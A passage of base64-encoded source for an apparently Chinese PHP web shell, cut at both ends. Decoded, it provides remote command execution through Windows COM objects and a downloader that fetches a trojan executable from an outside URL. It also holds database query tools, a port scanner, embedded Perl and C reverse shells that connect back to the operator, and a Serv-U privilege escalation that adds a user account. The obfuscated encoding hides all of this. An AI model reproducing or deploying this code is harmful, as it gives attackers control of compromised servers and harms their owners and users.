DQrD/MHuss7K/SA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBpZD0iY21kIiB2YWx1ZT0ieyRjbWR9IiBzdHlsZT0id2lkdGg6Mzk5cHg7Ij4NCjxzZWxlY3Qgb25jaGFuZ2U9J3JldHVybiBzRnVsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSc+DQo8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD4tLcP8we68r7rPLS08L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEiPsztvNO53MDt1LE8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIiPsnozqq53MDt1+k8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiPrLpv7S2y7/aPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0Ij6y6b+0tdjWtzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSI+uLTWxs7EvP48L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjYiPkZUUM/C1Ng8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ita00NAiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjx0ZXh0YXJlYSBuYW1lPSJzaG93IiBzdHlsZT0id2lkdGg6NjYwcHg7aGVpZ2h0OjM5OXB4OyI+eyRyZXN9PC90ZXh0YXJlYT48L2Rpdj48L2NlbnRlcj4NCjwvZm9ybT4NCkVORDsNCglyZXR1cm4gdHJ1ZTsNCn0NCg0KLy/X6bz+vdO/2g0KDQpmdW5jdGlvbiBDb21faCgpDQp7DQoJJG9iamVjdCA9IGlzc2V0KCRfR0VUWydvJ10pID8gJF9HRVRbJ28nXSA6ICdhZG9kYic7DQpwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj48YSBocmVmPSI/cz1oJm89YWRvZGIiPltBRE9EQi5Db25uZWN0aW9uXTwvYT4gDQo8YSBocmVmPSI/cz1oJm89d3NjcmlwdCI+W1dTY3JpcHQuc2hlbGxdPC9hPiANCjxhIGhyZWY9Ij9zPWgmbz1hcHBsaWNhdGlvbiI+W1NoZWxsLkFwcGxpY2F0aW9uXTwvYT4gDQo8YSBocmVmPSI/cz1oJm89ZG93bmxvYWRlciI+W0Rvd25sb2FkZXJdPC9hPjwvZGl2Pg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJoZm9ybSIgaWQ9Imhmb3JtIiBhY3Rpb249Ij9zPWgmbz17JG9iamVjdH0iPg0KRU5EOw0KaWYoJG9iamVjdCA9PSAnZG93bmxvYWRlcicpDQp7DQoJJENvbV9kdXJsID0gaXNzZXQoJF9QT1NUWydkdXJsJ10pID8gJF9QT1NUWydkdXJsJ10gOiAnaHR0cDovL3d3dy54c2p5aWdlY2FvZGFuZGVkYW1hLmNvbS9kb3duL211bWEuZXhlJzsNCgkkQ29tX2RwYXRoPSBpc3NldCgkX1BPU1RbJ2RwYXRoJ10pID8gJF9QT1NUWydkcGF0aCddIDogRmlsZV9TdHIoZGlybmFtZShfX0ZJTEVfXykuJy9tdW1hLmV4ZScpOw0KcHJpbnQ8PDxFTkQNCjxkaXYgY2xhc3M9ImFjdGFsbCI+s6zBrL3TIDxpbnB1dCBuYW1lPSJkdXJsIiB2YWx1ZT0ieyRDb21fZHVybH0iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj7PwtTYtb0gPGlucHV0IG5hbWU9ImRwYXRoIiB2YWx1ZT0ieyRDb21fZHBhdGh9IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHZhbHVlPSLPwtTYIiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPg0KRU5EOw0KCWlmKCghZW1wdHkoJF9QT1NUWydkdXJsJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsnZHBhdGgnXSkpKQ0KCXsNCgkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOw0KCQkkY29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydkdXJsJ10pOw0KCQlpZighJGNvbnRlbnRzKSBlY2hvICfO3reotsHIodKqz8LU2LXEyv2+3Sc7DQoJCWVsc2UgZWNobyBGaWxlX1dyaXRlKCRfUE9TVFsnZHBhdGgnXSwkY29udGVudHMsJ3diJykgPyAnz8LU2M7EvP6zybmmJyA6ICfPwtTYzsS8/sqnsNwnOw0KCQllY2hvICc8L2Rpdj4nOw0KCX0NCn0NCmVsc2VpZigkb2JqZWN0ID09ICd3c2NyaXB0JykNCnsNCgkkY21kID0gaXNzZXQoJF9QT1NUWydjbWQnXSkgPyAkX1BPU1RbJ2NtZCddIDogJ2Rpcic7DQpwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj7WtNDQQ01Ew/zB7iA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiB2YWx1ZT0ieyRjbWR9IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ita00NAiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPg0KRU5EOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSkNCgl7DQoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsNCgkJJHNoZWxsID0gbmV3IENPTSgnd3NjcmlwdCcpOw0KCQkkZXhlID0gQCRzaGVsbC0+ZXhlYygiY21kLmV4ZSAvYyAiLiRjbWQpOw0KCQkkb3V0ID0gJGV4ZS0+U3RkT3V0KCk7DQoJCSRvdXRwdXQgPSAkb3V0LT5SZWFkQWxsKCk7DQoJCWVjaG8gJzxwcmU+Jy4kb3V0cHV0Lic8L3ByZT4nOw0KCQlAJHNoZWxsLT5SZWxlYXNlKCk7DQoJCSRzaGVsbCA9IE5VTEw7DQoJCWVjaG8gJzwvZGl2Pic7DQoJfQ0KfQ0KZWxzZWlmKCRvYmplY3QgPT0gJ2FwcGxpY2F0aW9uJykNCnsNCgkkcnVuID0gaXNzZXQoJF9QT1NUWydydW4nXSkgPyAkX1BPU1RbJ3J1biddIDogJ2NtZC5leGUnOw0KCSRjbWQgPSBpc3NldCgkX1BPU1RbJ2NtZCddKSA/ICRfUE9TVFsnY21kJ10gOiAnY29weSBjOlx3aW5kb3dzXHBocC5pbmkgYzpccGhwLmluaSc7DQpwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj6zzNDywre+tiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icnVuIiB2YWx1ZT0ieyRydW59IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+w/zB7rLOyv0gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgdmFsdWU9InskY21kfSIgc3R5bGU9IndpZHRoOjYwMHB4OyI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLWtNDQIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2PjwvZm9ybT4NCkVORDsNCglpZighZW1wdHkoJF9QT1NUWydydW4nXSkpDQoJew0KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCSRzaGVsbCA9IG5ldyBDT00oJ2FwcGxpY2F0aW9uJyk7DQoJCWVjaG8gKEAkc2hlbGwtPlNoZWxsRXhlY3V0ZSgkcnVuLCcvYyAnLiRjbWQpID09ICcwJykgPyAn1rTQ0LPJuaYnIDogJ9a00NDKp7DcJzsNCgkJQCRzaGVsbC0+UmVsZWFzZSgpOw0KCQkkc2hlbGwgPSBOVUxMOw0KCQllY2hvICc8L2Rpdj4nOw0KCX0NCn0NCmVsc2VpZigkb2JqZWN0ID09ICdhZG9kYicpDQp7DQoJJHN0cmluZyA9IGlzc2V0KCRfUE9TVFsnc3RyaW5nJ10pID8gJF9QT1NUWydzdHJpbmcnXSA6ICcnOw0KCSRzcWwgPSBpc3NldCgkX1BPU1RbJ3NxbCddKSA/ICRfUE9TVFsnc3FsJ10gOiAnJzsNCnByaW50PDw8RU5EDQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGhGdWxsKGkpew0KCWlmKGk9PTAgfHwgaT09NSkgcmV0dXJuIGZhbHNlOw0KCVN0ciA9IG5ldyBBcnJheSgxMik7ICANCglTdHJbMV0gPSAiUHJvdmlkZXI9TWljcm9zb2Z0LkpldC5PTEVEQi40LjA7RGF0YSBTb3VyY2U9XGRiLm1kYiI7DQoJU3RyWzJdID0gIkRyaXZlcj17U3FsIFNlcnZlcn07U2VydmVyPSwxNDMzO0RhdGFiYXNlPURiTmFtZTtVaWQ9c2E7UHdkPSoqKioiOw0KCVN0clszXSA9ICJEcml2ZXI9e015U3FsfTtTZXJ2ZXI9O1BvcnQ9MzMwNjtEYXRhYmFzZT1EYk5hbWU7VWlkPXJvb3Q7UHdkPSoqKioiOw0KCVN0cls0XSA9ICJQcm92aWRlcj1NU0RBT1JBLjE7UGFzc3dvcmQ9w9zC6ztVc2VyIElEPdXKusU7RGF0YSBTb3VyY2U9t/7O8cP7O1BlcnNpc3QgU2VjdXJpdHkgSW5mbz1UcnVlOyI7DQoJU3RyWzZdID0gIlNFTEVDVCAqIEZST00gW1RhYmxlTmFtZV0gV0hFUkUgSUQ8MTAwIjsNCglTdHJbN10gPSAiSU5TRVJUIElOVE8gW1RhYmxlTmFtZV0oVVNFUixQQVNTKSBWQUxVRVMoJ3NwaWRlcicsJ215cGFzcycpIjsNCglTdHJbOF0gPSAiREVMRVRFIEZST00gW1RhYmxlTmFtZV0gV0hFUkUgSUQ9MTAwIjsNCglTdHJbOV0gPSAiVVBEQVRFIFtUYWJsZU5hbWVdIFNFVCBVU0VSPSdzcGlkZXInIFdIRVJFIElEPTEwMCI7DQoJU3RyWzEwXSA9ICJDUkVBVEUgVEFCTEUgW1RhYmxlTmFtZV0oSUQgSU5UIElERU5USVRZICgxLDEpIE5PVCBOVUxMLFVTRVIgVkFSQ0hBUig1MCkpIjsNCglTdHJbMTFdID0gIkRST1AgVEFCTEUgW1RhYmxlTmFtZV0iOw0KCVN0clsxMl0gPSAiQUxURVIgVEFCTEUgW1RhYmxlTmFtZV0gQUREIENPTFVNTiBQQVNTIFZBUkNIQVIoMzIpIjsNCglTdHJbMTNdID0gIkFMVEVSIFRBQkxFIFtUYWJsZU5hbWVdIERST1AgQ09MVU1OIFBBU1MiOw0KCWlmKGk8PTQpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJpbmcnKS52YWx1ZSA9IFN0cltpXTt9ZWxzZXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3FsJykudmFsdWUgPSBTdHJbaV07fQ0KCXJldHVybiB0cnVlOw0KfQ0KPC9zY3JpcHQ+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPsGsvdPX1rf7tK4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0cmluZyIgaWQ9InN0cmluZyIgdmFsdWU9Inskc3RyaW5nfSIgc3R5bGU9IndpZHRoOjUyNnB4OyI+DQo8c2VsZWN0IG9uY2hhbmdlPSJyZXR1cm4gaEZ1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSkiPg0KPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+LS3BrL3Tyr7A/S0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIj5BY2Nlc3PBrL3TPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyIj5Nc1NxbMGsvdM8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiPk15U3Fsway90zwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNCI+T3JhY2xlway90zwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSI+LS1TUUzT77eoLS08L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjYiPs/Uyr7K/b7dPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI3Ij7M7bzTyv2+3Twvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iOCI+yb6z/cr9vt08L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjkiPtDeuMTK/b7dPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMCI+vajK/b7dse08L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjExIj7Jvsr9vt2x7Twvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTIiPsztvNPX1rbOPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMyI+yb6z/dfWts48L29wdGlvbj4NCjwvc2VsZWN0PjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj5TUUzD/MHuIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWwiIGlkPSJzcWwiIHZhbHVlPSJ7JHNxbH0iIHN0eWxlPSJ3aWR0aDo2NTBweDsiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i1rTQ0CIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4NCjwvZm9ybT4NCkVORDsNCglpZighZW1wdHkoJHN0cmluZykpDQoJew0KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCSRzaGVsbCA9IG5ldyBDT00oJ2Fkb2RiJyk7DQoJCUAkc2hlbGwtPk9wZW4oJHN0cmluZyk7DQoJCSRyZXN1bHQgPSBAJHNoZWxsLT5FeGVjdXRlKCRzcWwpOw0KCQkkY291bnQgPSAkcmVzdWx0LT5GaWVsZHMtPkNvdW50KCk7DQoJCWZvcigkaSA9IDA7JGkgPCAkY291bnQ7JGkrKyl7JEZpZWxkWyRpXSA9ICRyZXN1bHQtPkZpZWxkcygkaSk7fQ0KCQllY2hvICRyZXN1bHQgPyAkc3FsLicg1rTQ0LPJuaY8YnI+JyA6ICRzcWwuJyDWtNDQyqew3Dxicj4nOw0KCQlpZighZW1wdHkoJGNvdW50KSl7d2hpbGUoISRyZXN1bHQtPkVPRil7Zm9yKCRpID0gMDskaSA8ICRjb3VudDskaSsrKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJEZpZWxkWyRpXS0+dmFsdWUpLic8YnI+Jzt9QCRyZXN1bHQtPk1vdmVOZXh0KCk7fX0NCgkJJHNoZWxsLT5DbG9zZSgpOw0KCQlAJHNoZWxsLT5SZWxlYXNlKCk7DQoJCSRzaGVsbCA9IE5VTEw7DQoJCWVjaG8gJzwvZGl2Pic7DQoJfQ0KfQ0KCXJldHVybiB0cnVlOw0KfQ0KDQovL8mow+i2y7/aDQoNCmZ1bmN0aW9uIFBvcnRfaSgpDQp7DQoJJFBvcnRfaXAgPSBpc3NldCgkX1BPU1RbJ2lwJ10pID8gJF9QT1NUWydpcCddIDogJzEyNy4wLjAuMSc7DQoJJFBvcnRfcG9ydCA9IGlzc2V0KCRfUE9TVFsncG9ydCddKSA/ICRfUE9TVFsncG9ydCddIDogJzIxfDIzfDI1fDgwfDExMHwxMzV8MTM5fDQ0NXwxNDMzfDMzMDZ8MzM4OXw0Mzk1OCc7DQpwcmludDw8PEVORA0KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJpZm9ybSIgaWQ9Imlmb3JtIiBhY3Rpb249Ij9zPWkiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj7JqMPoSVAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlwIiB2YWx1ZT0ieyRQb3J0X2lwfSIgc3R5bGU9IndpZHRoOjYwMHB4OyI+IDwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj62y7/ausUgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHZhbHVlPSJ7JFBvcnRfcG9ydH0iIHN0eWxlPSJ3aWR0aDo1OTdweDsiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iyajD6CIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4NCjwvZm9ybT4NCkVORDsNCglpZigoIWVtcHR5KCRfUE9TVFsnaXAnXSkpICYmICghZW1wdHkoJF9QT1NUWydwb3J0J10pKSkNCgl7DQoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsNCgkJJHBvcnRzID0gZXhwbG9kZSgnfCcsICRfUE9TVFsncG9ydCddKTsNCgkJZm9yKCRpID0gMDskaSA8IGNvdW50KCRwb3J0cyk7JGkrKykNCgkJew0KCQkJJGZwID0gQGZzb2Nrb3BlbigkX1BPU1RbJ2lwJ10sJHBvcnRzWyRpXSwkZXJybm8sJGVycnN0ciwyKTsNCgkJCWVjaG8gJGZwID8gJzxmb250IGNvbG9yPSIjRkYwMDAwIj6/qrfFtsu/2iAtLS0+ICcuJHBvcnRzWyRpXS4nPC9mb250Pjxicj4nIDogJ7nYsdW2y7/aIC0tLT4gJy4kcG9ydHNbJGldLic8YnI+JzsNCgkJCW9iX2ZsdXNoKCk7DQoJCQlmbHVzaCgpOw0KCQl9DQoJCWVjaG8gJzwvZGl2Pic7DQoJfQ0KCXJldHVybiB0cnVlOw0KfQ0KDQovL0xpbnV4zOHIqA0KDQpmdW5jdGlvbiBMaW51eF9rKCkNCnsNCgkkeW91cmlwID0gaXNzZXQoJF9QT1NUWyd5b3VyaXAnXSkgPyAkX1BPU1RbJ3lvdXJpcCddIDogZ2V0ZW52KCdSRU1PVEVfQUREUicpOw0KCSR5b3VycG9ydCA9IGlzc2V0KCRfUE9TVFsneW91cnBvcnQnXSkgPyAkX1BPU1RbJ3lvdXJwb3J0J10gOiAnMTI2NjYnOw0KcHJpbnQ8PDxFTkQNCjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ia2Zvcm0iIGlkPSJrZm9ybSIgYWN0aW9uPSI/cz1rIj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+xOO1xLXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InlvdXJpcCIgdmFsdWU9InskeW91cmlwfSIgc3R5bGU9IndpZHRoOjQwMHB4Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+way907bLv9ogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InlvdXJwb3J0IiB2YWx1ZT0iMTI2NjYiIHN0eWxlPSJ3aWR0aDo0MDBweCI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPta00NC3vcq9IDxzZWxlY3QgbmFtZT0idXNlIiA+DQo8b3B0aW9uIHZhbHVlPSJwZXJsIj5wZXJsPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJjIj5jPC9vcHRpb24+DQo8L3NlbGVjdD48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ir+qyrzBrL3TIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2PjwvZm9ybT4NCkVORDsNCglpZigoIWVtcHR5KCRfUE9TVFsneW91cmlwJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsneW91cnBvcnQnXSkpKQ0KCXsNCgkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOw0KCQlpZigkX1BPU1RbJ3VzZSddID09ICdwZXJsJykNCgkJew0KCQkJJGJhY2tfY29ubmVjdF9wbD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHTnRaRDBnSW14NWJuZ2lPdzBLSkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWaiIuDQoJCQkiYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUiIuDQoJCQkiaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVCIuDQoJCQkic05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSSIuDQoJCQkia1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaSIuDQoJCQkiS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbCIuDQoJCQkiT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7DQoJCQllY2hvIEZpbGVfV3JpdGUoJy90bXAvc3BpZGVyX2JjJyxiYXNlNjRfZGVjb2RlKCRiYWNrX2Nvbm5lY3RfcGwpLCd3YicpID8gJ7S0vagvdG1wL3NwaWRlcl9iY7PJuaY8YnI+JyA6ICe0tL2oL3RtcC9zcGlkZXJfYmPKp7DcPGJyPic7DQoJCQkkcGVybHBhdGggPSBFeGVjX1J1bignd2hpY2ggcGVybCcpOw0KCQkJJHBlcmxwYXRoID0gJHBlcmxwYXRoID8gY2hvcCgkcGVybHBhdGgpIDogJ3BlcmwnOw0KCQkJZWNobyBFeGVjX1J1bigkcGVybHBhdGguJyAvdG1wL3NwaWRlcl9iYyAnLiRfUE9TVFsneW91cmlwJ10uJyAnLiRfUE9TVFsneW91cnBvcnQnXS4nICYnKSA/ICduYyAtbCAtbiAtdiAtcCAnLiRfUE9TVFsneW91cnBvcnQnXSA6ICfWtNDQw/zB7sqnsNwnOw0KCQl9DQoJCWlmKCRfUE9TVFsndXNlJ10gPT0gJ2MnKQ0KCQl7DQoJCQkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDIi4NCgkJCSJCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliIi4NCgkJCSJTQXRaaUFpT3lBTkNpQmtZV1Z0YjI0b01Td3dLVHNOQ2lCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkIi4NCgkJCSJLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pXNG9ZWEpuZGxzeFhTa3JNU3R6ZEhKIi4NCgkJCSJzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDIi4NCgkJCSJBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcElDWnphVzRzSUhOcGVtVnZaaWh6ZEhKMVkzUWdjMjlqYTJGa1pISXBLU2s4TUNrZ2V3MEtJQ0FnY0dWeWNtOXlLQ0piTFYwZ1kyOXVibVZqZENncElpazdEIi4NCgkJCSJRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwIi4NCgkJCSJPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7DQoJCQllY2hvIEZpbGVfV3JpdGUoJy90bXAvc3BpZGVyX2JjLmMnLGJhc2U2NF9kZWNvZGUoJGJhY2tfY29ubmVjdF9jKSwnd2InKSA/ICe0tL2oL3RtcC9zcGlkZXJfYmMuY7PJuaY8YnI+JyA6ICe0tL2oL3RtcC9zcGlkZXJfYmMuY8qnsNw8YnI+JzsNCgkJCSRyZXMgPSBFeGVjX1J1bignZ2NjIC1vIC90bXAvYW5nZWxfYmMgL3RtcC9hbmdlbF9iYy5jJyk7DQoJCQlAdW5saW5rKCcvdG1wL3NwaWRlcl9iYy5jJyk7DQoJCQllY2hvIEV4ZWNfUnVuKCcvdG1wL3NwaWRlcl9iYyAnLiRfUE9TVFsneW91cmlwJ10uJyAnLiRfUE9TVFsneW91cnBvcnQnXS4nICYnKSA/ICduYyAtbCAtbiAtdiAtcCAnLiRfUE9TVFsneW91cnBvcnQnXSA6ICfWtNDQw/zB7sqnsNwnOw0KCQl9DQoJCWVjaG8gJzxicj7E47/J0tSzosrUway907bLv9ogKG5jIC1sIC1uIC12IC1wICcuJF9QT1NUWyd5b3VycG9ydCddLicpIDwvZGl2Pic7DQoJfQ0KCXJldHVybiB0cnVlOw0KfQ0KDQovL1NlcnZVzOHIqA0KDQpmdW5jdGlvbiBTZXJ2dV9sKCkNCnsNCgkkU1VQYXNzID0gaXNzZXQoJF9QT1NUWydTVVBhc3MnXSkgPyAkX1BPU1RbJ1NVUGFzcyddIDogJyNsQCRhayMubGs7MEBQJzsNCnByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxhIGhyZWY9Ij9zPWwiPlvWtNDQw/zB7l08L2E+IDxhIGhyZWY9Ij9zPWwmbz1hZGR1c2VyIj5bzO2809PDu6ddPC9hPjwvZGl2Pg0KPGZvcm0gbWV0aG9kPSJQT1NUIj4NCgk8ZGl2IGNsYXNzPSJhY3RhbGwiPlNlcnZVtsu/2iA8aW5wdXQgbmFtZT0iU1VQb3J0IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iNDM5NTgiIHN0eWxlPSJ3aWR0aDozMDBweCI+PC9kaXY+DQoJPGRpdiBjbGFzcz0iYWN0YWxsIj5TZXJ2VdPDu6cgPGlucHV0IG5hbWU9IlNVVXNlciIgdHlwZT0idGV4dCIgdmFsdWU9IkxvY2FsQWRtaW5pc3RyYXRvciIgc3R5bGU9IndpZHRoOjMwMHB4Ij48L2Rpdj4NCgk8ZGl2IGNsYXNzPSJhY3RhbGwiPlNlcnZVw9zC6yA8aW5wdXQgbmFtZT0iU1VQYXNzIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ieyRTVVBhc3N9IiBzdHlsZT0id2lkdGg6MzAwcHgiPjwvZGl2Pg0KRU5EOw0KaWYoJF9HRVRbJ28nXSA9PSAnYWRkdXNlcicpDQp7DQpwcmludDw8PEVORA0KPGRpdiBjbGFzcz0iYWN0YWxsIj7VyrrFIDxpbnB1dCBuYW1lPSJ1c2VyIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ic3BpZGVyIiBzdHlsZT0id2lkdGg6MjAwcHgiPg0Kw9zC6yA8aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InRleHQiIHZhbHVlPSJzcGlkZXIiIHN0eWxlPSJ3aWR0aDoyMDBweCI+DQrEv8K8IDxpbnB1dCBuYW1lPSJwYXJ0IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0iQzpcXFxcIiBzdHlsZT0id2lkdGg6MjAwcHgiPjwvZGl2Pg0KRU5EOw0KfQ0KZWxzZQ0Kew0KcHJpbnQ8PDxFTkQNCjxkaXYgY2xhc3M9ImFjdGFsbCI+zOHIqMP8we4gPGlucHV0IG5hbWU9IlNVQ29tbWFuZCIgdHlwZT0idGV4dCIgdmFsdWU9Im5ldCB1c2VyIHNwaWRlciBzcGlkZXIgL2